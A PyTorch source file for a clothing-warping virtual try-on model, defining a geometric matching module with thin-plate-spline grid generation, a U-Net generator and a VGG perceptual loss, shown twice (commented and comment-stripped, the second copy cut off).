import torch import torch.nn as nn from torch.nn import init from torchvision import models import os import torch.nn.functional as F import numpy as np import sys sys.path.append('..') def weights_init_normal(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: init.normal_(m.weight.data, 0.0, 0.02) elif classname.find('Linear') != -1: init.normal(m.weight.data, 0.0, 0.02) elif classname.find('BatchNorm2d') != -1: init.normal_(m.weight.data, 1.0, 0.02) init.constant_(m.bias.data, 0.0) def weights_init_xavier(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: init.xavier_normal_(m.weight.data, gain=0.02) elif classname.find('Linear') != -1: init.xavier_normal_(m.weight.data, gain=0.02) elif classname.find('BatchNorm2d') != -1: init.normal_(m.weight.data, 1.0, 0.02) init.constant_(m.bias.data, 0.0) def weights_init_kaiming(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: init.kaiming_normal_(m.weight.data, a=0, mode='fan_in') elif classname.find('Linear') != -1: init.kaiming_normal_(m.weight.data, a=0, mode='fan_in') elif classname.find('BatchNorm2d') != -1: init.normal_(m.weight.data, 1.0, 0.02) init.constant_(m.bias.data, 0.0) def init_weights(net, init_type='normal'): print('initialization method [%s]' % init_type) if init_type == 'normal': net.apply(weights_init_normal) elif init_type == 'xavier': net.apply(weights_init_xavier) elif init_type == 'kaiming': net.apply(weights_init_kaiming) else: raise NotImplementedError('initialization method [%s] is not implemented' % init_type) class FeatureExtraction(nn.Module): def __init__(self, input_nc, ngf=64, n_layers=3, norm_layer=nn.BatchNorm2d, use_dropout=False): super(FeatureExtraction, self).__init__() downconv = nn.Conv2d(input_nc, ngf, kernel_size=4, stride=2, padding=1) model = [downconv, nn.ReLU(True), norm_layer(ngf)] for i in range(n_layers): in_ngf = 2**i * ngf if 2**i * ngf < 512 else 512 out_ngf = 2**(i+1) * ngf if 2**i * ngf < 512 else 512 downconv = nn.Conv2d(in_ngf, out_ngf, kernel_size=4, stride=2, padding=1) model += [downconv, nn.ReLU(True)] model += [norm_layer(out_ngf)] model += [nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1), nn.ReLU(True)] model += [norm_layer(512)] model += [nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1), nn.ReLU(True)] self.model = nn.Sequential(*model) init_weights(self.model, init_type='normal') def forward(self, x): return self.model(x) class FeatureL2Norm(torch.nn.Module): def __init__(self): super(FeatureL2Norm, self).__init__() def forward(self, feature): epsilon = 1e-6 norm = torch.pow(torch.sum(torch.pow(feature,2),1)+epsilon,0.5).unsqueeze(1).expand_as(feature) return torch.div(feature,norm) class FeatureCorrelation(nn.Module): def __init__(self): super(FeatureCorrelation, self).__init__() def forward(self, feature_A, feature_B): b,c,h,w = feature_A.size() # reshape features for matrix multiplication feature_A = feature_A.transpose(2,3).contiguous().view(b,c,h*w) feature_B = feature_B.view(b,c,h*w).transpose(1,2) # perform matrix mult. feature_mul = torch.bmm(feature_B,feature_A) correlation_tensor = feature_mul.view(b,h,w,h*w).transpose(2,3).transpose(1,2) return correlation_tensor class FeatureRegression(nn.Module): def __init__(self, input_nc=512,output_dim=6, use_cuda=True): super(FeatureRegression, self).__init__() self.conv = nn.Sequential( nn.Conv2d(input_nc, 512, kernel_size=4, stride=2, padding=1), nn.BatchNorm2d(512), nn.ReLU(inplace=True), nn.Conv2d(512, 256, kernel_size=4, stride=2, padding=1), nn.BatchNorm2d(256), nn.ReLU(inplace=True), nn.Conv2d(256, 128, kernel_size=3, padding=1), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.Conv2d(128, 64, kernel_size=3, padding=1), nn.BatchNorm2d(64), nn.ReLU(inplace=True), ) self.linear = nn.Linear(64 * 4 * 3, output_dim) self.tanh = nn.Tanh() # if use_cuda: # self.conv.cuda() # self.linear.cuda() # self.tanh.cuda() def forward(self, x): x = self.conv(x) x = x.reshape(x.size(0), -1) x = self.linear(x) x = self.tanh(x) return x class AffineGridGen(nn.Module): def __init__(self, out_h=256, out_w=192, out_ch = 3): super(AffineGridGen, self).__init__() self.out_h = out_h self.out_w = out_w self.out_ch = out_ch def forward(self, theta): theta = theta.contiguous() batch_size = theta.size()[0] out_size = torch.Size((batch_size,self.out_ch,self.out_h,self.out_w)) return F.affine_grid(theta, out_size) class TpsGridGen(nn.Module): def __init__(self, out_h=256, out_w=192, use_regular_grid=True, grid_size=3, reg_factor=0, use_cuda=True): super(TpsGridGen, self).__init__() self.out_h, self.out_w = out_h, out_w self.reg_factor = reg_factor self.use_cuda = use_cuda # create grid in numpy self.grid = np.zeros([self.out_h, self.out_w, 3], dtype=np.float32) # sampling grid with dim-0 coords (Y) self.grid_X,self.grid_Y = np.meshgrid(np.linspace(-1,1,out_w),np.linspace(-1,1,out_h)) # grid_X,grid_Y: size [1,H,W,1,1] self.grid_X = torch.FloatTensor(self.grid_X).unsqueeze(0).unsqueeze(3) self.grid_Y = torch.FloatTensor(self.grid_Y).unsqueeze(0).unsqueeze(3) if use_cuda: self.grid_X = self.grid_X.cuda() self.grid_Y = self.grid_Y.cuda() # initialize regular grid for control points P_i if use_regular_grid: axis_coords = np.linspace(-1,1,grid_size) self.N = grid_size*grid_size P_Y,P_X = np.meshgrid(axis_coords,axis_coords) P_X = np.reshape(P_X,(-1,1)) # size (N,1) P_Y = np.reshape(P_Y,(-1,1)) # size (N,1) P_X = torch.FloatTensor(P_X) P_Y = torch.FloatTensor(P_Y) self.P_X_base = P_X.clone() self.P_Y_base = P_Y.clone() self.Li = self.compute_L_inverse(P_X,P_Y).unsqueeze(0) self.P_X = P_X.unsqueeze(2).unsqueeze(3).unsqueeze(4).transpose(0,4) self.P_Y = P_Y.unsqueeze(2).unsqueeze(3).unsqueeze(4).transpose(0,4) if use_cuda: self.P_X = self.P_X.cuda() self.P_Y = self.P_Y.cuda() self.P_X_base = self.P_X_base.cuda() self.P_Y_base = self.P_Y_base.cuda() def forward(self, theta): gpu_id = theta.get_device() self.grid_X = self.grid_X.to(gpu_id) self.grid_Y = self.grid_Y.to(gpu_id) self.P_X = self.P_X.to(gpu_id) self.P_Y = self.P_Y.to(gpu_id) self.P_X_base = self.P_X_base.to(gpu_id) self.P_Y_base = self.P_Y_base.to(gpu_id) self.Li = self.Li.to(gpu_id) warped_grid = self.apply_transformation(theta,torch.cat((self.grid_X,self.grid_Y),3)) return warped_grid def compute_L_inverse(self,X,Y): N = X.size()[0] # num of points (along dim 0) # construct matrix K Xmat = X.expand(N,N) Ymat = Y.expand(N,N) P_dist_squared = torch.pow(Xmat-Xmat.transpose(0,1),2)+torch.pow(Ymat-Ymat.transpose(0,1),2) P_dist_squared[P_dist_squared==0]=1 # make diagonal 1 to avoid NaN in log computation K = torch.mul(P_dist_squared,torch.log(P_dist_squared)) # construct matrix L O = torch.FloatTensor(N,1).fill_(1) Z = torch.FloatTensor(3,3).fill_(0) P = torch.cat((O,X,Y),1) L = torch.cat((torch.cat((K,P),1),torch.cat((P.transpose(0,1),Z),1)),0) self.Li = torch.inverse(L) if self.use_cuda: self.Li = self.Li.cuda() return self.Li def apply_transformation(self,theta,points): if theta.dim()==2: theta = theta.unsqueeze(2).unsqueeze(3) # points should be in the [B,H,W,2] format, # where points[:,:,:,0] are the X coords # and points[:,:,:,1] are the Y coords # input are the corresponding control points P_i batch_size = theta.size()[0] # split theta into point coordinates Q_X=theta[:,:self.N,:,:].squeeze(3) Q_Y=theta[:,self.N:,:,:].squeeze(3) Q_X = Q_X + self.P_X_base.expand_as(Q_X) Q_Y = Q_Y + self.P_Y_base.expand_as(Q_Y) # get spatial dimensions of points points_b = points.size()[0] points_h = points.size()[1] points_w = points.size()[2] # repeat pre-defined control points along spatial dimensions of points to be transformed P_X = self.P_X.expand((1,points_h,points_w,1,self.N)) P_Y = self.P_Y.expand((1,points_h,points_w,1,self.N)) # compute weigths for non-linear part W_X = torch.bmm(self.Li[:,:self.N,:self.N].expand((batch_size,self.N,self.N)),Q_X) W_Y = torch.bmm(self.Li[:,:self.N,:self.N].expand((batch_size,self.N,self.N)),Q_Y) # reshape # W_X,W,Y: size [B,H,W,1,N] W_X = W_X.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) W_Y = W_Y.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) # compute weights for affine part A_X = torch.bmm(self.Li[:,self.N:,:self.N].expand((batch_size,3,self.N)),Q_X) A_Y = torch.bmm(self.Li[:,self.N:,:self.N].expand((batch_size,3,self.N)),Q_Y) # reshape # A_X,A,Y: size [B,H,W,1,3] A_X = A_X.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) A_Y = A_Y.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) # compute distance P_i - (grid_X,grid_Y) # grid is expanded in point dim 4, but not in batch dim 0, as points P_X,P_Y are fixed for all batch points_X_for_summation = points[:,:,:,0].unsqueeze(3).unsqueeze(4).expand(points[:,:,:,0].size()+(1,self.N)) points_Y_for_summation = points[:,:,:,1].unsqueeze(3).unsqueeze(4).expand(points[:,:,:,1].size()+(1,self.N)) if points_b==1: delta_X = points_X_for_summation-P_X delta_Y = points_Y_for_summation-P_Y else: # use expanded P_X,P_Y in batch dimension delta_X = points_X_for_summation-P_X.expand_as(points_X_for_summation) delta_Y = points_Y_for_summation-P_Y.expand_as(points_Y_for_summation) dist_squared = torch.pow(delta_X,2)+torch.pow(delta_Y,2) # U: size [1,H,W,1,N] dist_squared[dist_squared==0]=1 # avoid NaN in log computation U = torch.mul(dist_squared,torch.log(dist_squared)) # expand grid in batch dimension if necessary points_X_batch = points[:,:,:,0].unsqueeze(3) points_Y_batch = points[:,:,:,1].unsqueeze(3) if points_b==1: points_X_batch = points_X_batch.expand((batch_size,)+points_X_batch.size()[1:]) points_Y_batch = points_Y_batch.expand((batch_size,)+points_Y_batch.size()[1:]) points_X_prime = A_X[:,:,:,:,0]+ \ torch.mul(A_X[:,:,:,:,1],points_X_batch) + \ torch.mul(A_X[:,:,:,:,2],points_Y_batch) + \ torch.sum(torch.mul(W_X,U.expand_as(W_X)),4) points_Y_prime = A_Y[:,:,:,:,0]+ \ torch.mul(A_Y[:,:,:,:,1],points_X_batch) + \ torch.mul(A_Y[:,:,:,:,2],points_Y_batch) + \ torch.sum(torch.mul(W_Y,U.expand_as(W_Y)),4) return torch.cat((points_X_prime,points_Y_prime),3) # Defines the Unet generator. # |num_downs|: number of downsamplings in UNet. For example, # if |num_downs| == 7, image of size 128x128 will become of size 1x1 # at the bottleneck class UnetGenerator(nn.Module): def __init__(self, input_nc, output_nc, num_downs, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetGenerator, self).__init__() # construct unet structure unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): return self.model(input) # Defines the submodule with skip connection. # X -------------------identity---------------------- X # |-- downsampling -- |submodule| -- upsampling --| class UnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, input_nc=None, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetSkipConnectionBlock, self).__init__() self.outermost = outermost use_bias = norm_layer == nn.InstanceNorm2d if input_nc is None: input_nc = outer_nc downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc) if outermost: upsample = nn.Upsample(scale_factor=2, mode='bilinear') upconv = nn.Conv2d(inner_nc * 2, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias) down = [downconv] up = [uprelu, upsample, upconv, upnorm] model = down + [submodule] + up elif innermost: upsample = nn.Upsample(scale_factor=2, mode='bilinear') upconv = nn.Conv2d(inner_nc, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias) down = [downrelu, downconv] up = [uprelu, upsample, upconv, upnorm] model = down + up else: upsample = nn.Upsample(scale_factor=2, mode='bilinear') upconv = nn.Conv2d(inner_nc*2, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias) down = [downrelu, downconv, downnorm] up = [uprelu, upsample, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: return self.model(x) else: return torch.cat([x, self.model(x)], 1) class Vgg19(nn.Module): def __init__(self, requires_grad=False): super(Vgg19, self).__init__() vgg_pretrained_features = models.vgg19(pretrained=True).features self.slice1 = torch.nn.Sequential() self.slice2 = torch.nn.Sequential() self.slice3 = torch.nn.Sequential() self.slice4 = torch.nn.Sequential() self.slice5 = torch.nn.Sequential() for x in range(2): self.slice1.add_module(str(x), vgg_pretrained_features[x]) for x in range(2, 7): self.slice2.add_module(str(x), vgg_pretrained_features[x]) for x in range(7, 12): self.slice3.add_module(str(x), vgg_pretrained_features[x]) for x in range(12, 21): self.slice4.add_module(str(x), vgg_pretrained_features[x]) for x in range(21, 30): self.slice5.add_module(str(x), vgg_pretrained_features[x]) if not requires_grad: for param in self.parameters(): param.requires_grad = False def forward(self, X): h_relu1 = self.slice1(X) h_relu2 = self.slice2(h_relu1) h_relu3 = self.slice3(h_relu2) h_relu4 = self.slice4(h_relu3) h_relu5 = self.slice5(h_relu4) out = [h_relu1, h_relu2, h_relu3, h_relu4, h_relu5] return out class VGGLoss(nn.Module): def __init__(self, layids = None): super(VGGLoss, self).__init__() self.vgg = Vgg19() self.vgg.cuda() self.criterion = nn.L1Loss() self.weights = [1.0/32, 1.0/16, 1.0/8, 1.0/4, 1.0] self.layids = layids def forward(self, x, y): x_vgg, y_vgg = self.vgg(x), self.vgg(y) loss = 0 if self.layids is None: self.layids = list(range(len(x_vgg))) for i in self.layids: loss += self.weights[i] * self.criterion(x_vgg[i], y_vgg[i].detach()) return loss class GMM(nn.Module): """ Geometric Matching Module """ def __init__(self, opt): super(GMM, self).__init__() self.extractionA = FeatureExtraction(22, ngf=64, n_layers=3, norm_layer=nn.BatchNorm2d) self.extractionB = FeatureExtraction(3, ngf=64, n_layers=3, norm_layer=nn.BatchNorm2d) self.l2norm = FeatureL2Norm() self.correlation = FeatureCorrelation() self.regression = FeatureRegression(input_nc=192, output_dim=2*opt.grid_size**2, use_cuda=True) self.gridGen = TpsGridGen(opt.fine_height, opt.fine_width, use_cuda=True, grid_size=opt.grid_size) def forward(self, inputA, inputB): featureA = self.extractionA(inputA) featureB = self.extractionB(inputB) featureA = self.l2norm(featureA) featureB = self.l2norm(featureB) correlation = self.correlation(featureA, featureB) theta = self.regression(correlation) grid = self.gridGen(theta) return grid, theta def save_checkpoint(model, save_path): if not os.path.exists(os.path.dirname(save_path)): os.makedirs(os.path.dirname(save_path)) torch.save(model.cpu().state_dict(), save_path) model.cuda() def load_checkpoint(model, checkpoint_path): if not os.path.exists(checkpoint_path): return model.load_state_dict(torch.load(checkpoint_path)) model.cuda() if __name__ == '__main__': import config # in1 = torch.rand(4,3,256,192).cuda() # in2 = torch.rand(4,3,256,192).cuda() # cfg = config.Config().parse() # gmm = GMM(cfg) # gmm.cuda() # out = gmm(in1, in2) tps = TpsGridGen(256,192,True) theta = torch.randn(1,6) grid = tps(theta) print(grid.shape)
42.201735
151
0.609663
import torch import torch.nn as nn from torch.nn import init from torchvision import models import os import torch.nn.functional as F import numpy as np import sys sys.path.append('..') def weights_init_normal(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: init.normal_(m.weight.data, 0.0, 0.02) elif classname.find('Linear') != -1: init.normal(m.weight.data, 0.0, 0.02) elif classname.find('BatchNorm2d') != -1: init.normal_(m.weight.data, 1.0, 0.02) init.constant_(m.bias.data, 0.0) def weights_init_xavier(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: init.xavier_normal_(m.weight.data, gain=0.02) elif classname.find('Linear') != -1: init.xavier_normal_(m.weight.data, gain=0.02) elif classname.find('BatchNorm2d') != -1: init.normal_(m.weight.data, 1.0, 0.02) init.constant_(m.bias.data, 0.0) def weights_init_kaiming(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: init.kaiming_normal_(m.weight.data, a=0, mode='fan_in') elif classname.find('Linear') != -1: init.kaiming_normal_(m.weight.data, a=0, mode='fan_in') elif classname.find('BatchNorm2d') != -1: init.normal_(m.weight.data, 1.0, 0.02) init.constant_(m.bias.data, 0.0) def init_weights(net, init_type='normal'): print('initialization method [%s]' % init_type) if init_type == 'normal': net.apply(weights_init_normal) elif init_type == 'xavier': net.apply(weights_init_xavier) elif init_type == 'kaiming': net.apply(weights_init_kaiming) else: raise NotImplementedError('initialization method [%s] is not implemented' % init_type) class FeatureExtraction(nn.Module): def __init__(self, input_nc, ngf=64, n_layers=3, norm_layer=nn.BatchNorm2d, use_dropout=False): super(FeatureExtraction, self).__init__() downconv = nn.Conv2d(input_nc, ngf, kernel_size=4, stride=2, padding=1) model = [downconv, nn.ReLU(True), norm_layer(ngf)] for i in range(n_layers): in_ngf = 2**i * ngf if 2**i * ngf < 512 else 512 out_ngf = 2**(i+1) * ngf if 2**i * ngf < 512 else 512 downconv = nn.Conv2d(in_ngf, out_ngf, kernel_size=4, stride=2, padding=1) model += [downconv, nn.ReLU(True)] model += [norm_layer(out_ngf)] model += [nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1), nn.ReLU(True)] model += [norm_layer(512)] model += [nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1), nn.ReLU(True)] self.model = nn.Sequential(*model) init_weights(self.model, init_type='normal') def forward(self, x): return self.model(x) class FeatureL2Norm(torch.nn.Module): def __init__(self): super(FeatureL2Norm, self).__init__() def forward(self, feature): epsilon = 1e-6 norm = torch.pow(torch.sum(torch.pow(feature,2),1)+epsilon,0.5).unsqueeze(1).expand_as(feature) return torch.div(feature,norm) class FeatureCorrelation(nn.Module): def __init__(self): super(FeatureCorrelation, self).__init__() def forward(self, feature_A, feature_B): b,c,h,w = feature_A.size() feature_A = feature_A.transpose(2,3).contiguous().view(b,c,h*w) feature_B = feature_B.view(b,c,h*w).transpose(1,2) feature_mul = torch.bmm(feature_B,feature_A) correlation_tensor = feature_mul.view(b,h,w,h*w).transpose(2,3).transpose(1,2) return correlation_tensor class FeatureRegression(nn.Module): def __init__(self, input_nc=512,output_dim=6, use_cuda=True): super(FeatureRegression, self).__init__() self.conv = nn.Sequential( nn.Conv2d(input_nc, 512, kernel_size=4, stride=2, padding=1), nn.BatchNorm2d(512), nn.ReLU(inplace=True), nn.Conv2d(512, 256, kernel_size=4, stride=2, padding=1), nn.BatchNorm2d(256), nn.ReLU(inplace=True), nn.Conv2d(256, 128, kernel_size=3, padding=1), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.Conv2d(128, 64, kernel_size=3, padding=1), nn.BatchNorm2d(64), nn.ReLU(inplace=True), ) self.linear = nn.Linear(64 * 4 * 3, output_dim) self.tanh = nn.Tanh() def forward(self, x): x = self.conv(x) x = x.reshape(x.size(0), -1) x = self.linear(x) x = self.tanh(x) return x class AffineGridGen(nn.Module): def __init__(self, out_h=256, out_w=192, out_ch = 3): super(AffineGridGen, self).__init__() self.out_h = out_h self.out_w = out_w self.out_ch = out_ch def forward(self, theta): theta = theta.contiguous() batch_size = theta.size()[0] out_size = torch.Size((batch_size,self.out_ch,self.out_h,self.out_w)) return F.affine_grid(theta, out_size) class TpsGridGen(nn.Module): def __init__(self, out_h=256, out_w=192, use_regular_grid=True, grid_size=3, reg_factor=0, use_cuda=True): super(TpsGridGen, self).__init__() self.out_h, self.out_w = out_h, out_w self.reg_factor = reg_factor self.use_cuda = use_cuda self.grid = np.zeros([self.out_h, self.out_w, 3], dtype=np.float32) self.grid_X,self.grid_Y = np.meshgrid(np.linspace(-1,1,out_w),np.linspace(-1,1,out_h)) self.grid_X = torch.FloatTensor(self.grid_X).unsqueeze(0).unsqueeze(3) self.grid_Y = torch.FloatTensor(self.grid_Y).unsqueeze(0).unsqueeze(3) if use_cuda: self.grid_X = self.grid_X.cuda() self.grid_Y = self.grid_Y.cuda() if use_regular_grid: axis_coords = np.linspace(-1,1,grid_size) self.N = grid_size*grid_size P_Y,P_X = np.meshgrid(axis_coords,axis_coords) P_X = np.reshape(P_X,(-1,1)) P_Y = np.reshape(P_Y,(-1,1)) P_X = torch.FloatTensor(P_X) P_Y = torch.FloatTensor(P_Y) self.P_X_base = P_X.clone() self.P_Y_base = P_Y.clone() self.Li = self.compute_L_inverse(P_X,P_Y).unsqueeze(0) self.P_X = P_X.unsqueeze(2).unsqueeze(3).unsqueeze(4).transpose(0,4) self.P_Y = P_Y.unsqueeze(2).unsqueeze(3).unsqueeze(4).transpose(0,4) if use_cuda: self.P_X = self.P_X.cuda() self.P_Y = self.P_Y.cuda() self.P_X_base = self.P_X_base.cuda() self.P_Y_base = self.P_Y_base.cuda() def forward(self, theta): gpu_id = theta.get_device() self.grid_X = self.grid_X.to(gpu_id) self.grid_Y = self.grid_Y.to(gpu_id) self.P_X = self.P_X.to(gpu_id) self.P_Y = self.P_Y.to(gpu_id) self.P_X_base = self.P_X_base.to(gpu_id) self.P_Y_base = self.P_Y_base.to(gpu_id) self.Li = self.Li.to(gpu_id) warped_grid = self.apply_transformation(theta,torch.cat((self.grid_X,self.grid_Y),3)) return warped_grid def compute_L_inverse(self,X,Y): N = X.size()[0] Xmat = X.expand(N,N) Ymat = Y.expand(N,N) P_dist_squared = torch.pow(Xmat-Xmat.transpose(0,1),2)+torch.pow(Ymat-Ymat.transpose(0,1),2) P_dist_squared[P_dist_squared==0]=1 K = torch.mul(P_dist_squared,torch.log(P_dist_squared)) O = torch.FloatTensor(N,1).fill_(1) Z = torch.FloatTensor(3,3).fill_(0) P = torch.cat((O,X,Y),1) L = torch.cat((torch.cat((K,P),1),torch.cat((P.transpose(0,1),Z),1)),0) self.Li = torch.inverse(L) if self.use_cuda: self.Li = self.Li.cuda() return self.Li def apply_transformation(self,theta,points): if theta.dim()==2: theta = theta.unsqueeze(2).unsqueeze(3) batch_size = theta.size()[0] Q_X=theta[:,:self.N,:,:].squeeze(3) Q_Y=theta[:,self.N:,:,:].squeeze(3) Q_X = Q_X + self.P_X_base.expand_as(Q_X) Q_Y = Q_Y + self.P_Y_base.expand_as(Q_Y) points_b = points.size()[0] points_h = points.size()[1] points_w = points.size()[2] P_X = self.P_X.expand((1,points_h,points_w,1,self.N)) P_Y = self.P_Y.expand((1,points_h,points_w,1,self.N)) W_X = torch.bmm(self.Li[:,:self.N,:self.N].expand((batch_size,self.N,self.N)),Q_X) W_Y = torch.bmm(self.Li[:,:self.N,:self.N].expand((batch_size,self.N,self.N)),Q_Y) W_X = W_X.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) W_Y = W_Y.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) A_X = torch.bmm(self.Li[:,self.N:,:self.N].expand((batch_size,3,self.N)),Q_X) A_Y = torch.bmm(self.Li[:,self.N:,:self.N].expand((batch_size,3,self.N)),Q_Y) A_X = A_X.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) A_Y = A_Y.unsqueeze(3).unsqueeze(4).transpose(1,4).repeat(1,points_h,points_w,1,1) points_X_for_summation = points[:,:,:,0].unsqueeze(3).unsqueeze(4).expand(points[:,:,:,0].size()+(1,self.N)) points_Y_for_summation = points[:,:,:,1].unsqueeze(3).unsqueeze(4).expand(points[:,:,:,1].size()+(1,self.N)) if points_b==1: delta_X = points_X_for_summation-P_X delta_Y = points_Y_for_summation-P_Y else: delta_X = points_X_for_summation-P_X.expand_as(points_X_for_summation) delta_Y = points_Y_for_summation-P_Y.expand_as(points_Y_for_summation) dist_squared = torch.pow(delta_X,2)+torch.pow(delta_Y,2) dist_squared[dist_squared==0]=1 U = torch.mul(dist_squared,torch.log(dist_squared)) points_X_batch = points[:,:,:,0].unsqueeze(3) points_Y_batch = points[:,:,:,1].unsqueeze(3) if points_b==1: points_X_batch = points_X_batch.expand((batch_size,)+points_X_batch.size()[1:]) points_Y_batch = points_Y_batch.expand((batch_size,)+points_Y_batch.size()[1:]) points_X_prime = A_X[:,:,:,:,0]+ \ torch.mul(A_X[:,:,:,:,1],points_X_batch) + \ torch.mul(A_X[:,:,:,:,2],points_Y_batch) + \ torch.sum(torch.mul(W_X,U.expand_as(W_X)),4) points_Y_prime = A_Y[:,:,:,:,0]+ \ torch.mul(A_Y[:,:,:,:,1],points_X_batch) + \ torch.mul(A_Y[:,:,:,:,2],points_Y_batch) + \ torch.sum(torch.mul(W_Y,U.expand_as(W_Y)),4) return torch.cat((points_X_prime,points_Y_prime),3) class UnetGenerator(nn.Module): def __init__(self, input_nc, output_nc, num_downs, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetGenerator, self).__init__() unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): return self.model(input) class UnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, input_nc=None, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetSkipConnectionBlock, self).__init__() self.outermost = outermost use_bias = norm_layer == nn.InstanceNorm2d if input_nc is None: input_nc = outer_nc downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc) if outermost: upsample = nn.Upsample(scale_factor=2, mode='bilinear') upconv = nn.Conv2d(inner_nc * 2, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias) down = [downconv] up = [uprelu, upsample, upconv, upnorm] model = down + [submodule] + up elif innermost: upsample = nn.Upsample(scale_factor=2, mode='bilinear') upconv = nn.Conv2d(inner_nc, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias) down = [downrelu, downconv] up = [uprelu, upsample, upconv, upnorm] model = down + up else: upsample = nn.Upsample(scale_factor=2, mode='bilinear') upconv = nn.Conv2d(inner_nc*2, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias) down = [downrelu, downconv, downnorm] up = [uprelu, upsample, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: return self.model(x) else: return torch.cat([x, self.model(x)], 1) class Vgg19(nn.Module): def __init__(self, requires_grad=False): super(Vgg19, self).__init__() vgg_pretrained_features = models.vgg19(pretrained=True).features self.slice1 = torch.nn.Sequential() self.slice2 = torch.nn.Sequential() self.slice3 = torch.nn.Sequential() self.slice4 = torch.nn.Sequential() self.slice5 = torch.nn.Sequential() for x in range(2): self.slice1.add_module(str(x), vgg_pretrained_features[x]) for x in range(2, 7): self.slice2.add_module(str(x), vgg_pretrained_features[x]) for x in range(7, 12): self.slice3.add_module(str(x), vgg_pretrained_features[x]) for x in range(12, 21): self.slice4.add_module(str(x), vgg_pretrained_features[x]) for x in range(21, 30): self.slice5.add_module(str(x), vgg_pretrained_features[x]) if not requires_grad: for param in self.parameters(): param.requires_grad = False def forward(self, X): h_relu1 = self.slice1(X) h_relu2 = self.slice2(h_relu1) h_relu3 = self.slice3(h_relu2) h_relu4 = self.slice4(h_relu3) h_relu5 = self.slice5(h_relu4) out = [h_relu1, h_relu2, h_relu3, h_relu4, h_relu5] return out class VGGLoss(nn.Module): def __init__(self, layids = None): super(VGGLoss, self).__init__() self.vgg = Vgg19() self.vgg.cuda() self.criterion = nn.L1Loss() self.weights = [1.0/32, 1.0/16, 1.0/8, 1.0/4, 1.0] self.layids = layids def forward(self, x, y): x_vgg, y_vgg = self.vgg(x), self.vgg(y) loss = 0 if self.layids is None: self.layids = list(range(len(x_vgg))) for i in self.layids: loss += self.weights[i] * self.criterion(x_vgg[i], y_vgg[i].detach()) return loss class GMM(nn.Module): def __init__(self, opt): super(GMM, self).__init__() self.extractionA = FeatureExtraction(22, ngf=64, n_layers=3, norm_layer=nn.BatchNorm2d) self.extractionB = FeatureExtraction(3, ngf=64, n_layers=3, norm_layer=nn.BatchNorm2d) self.l2norm = FeatureL2Norm() self.correlation = 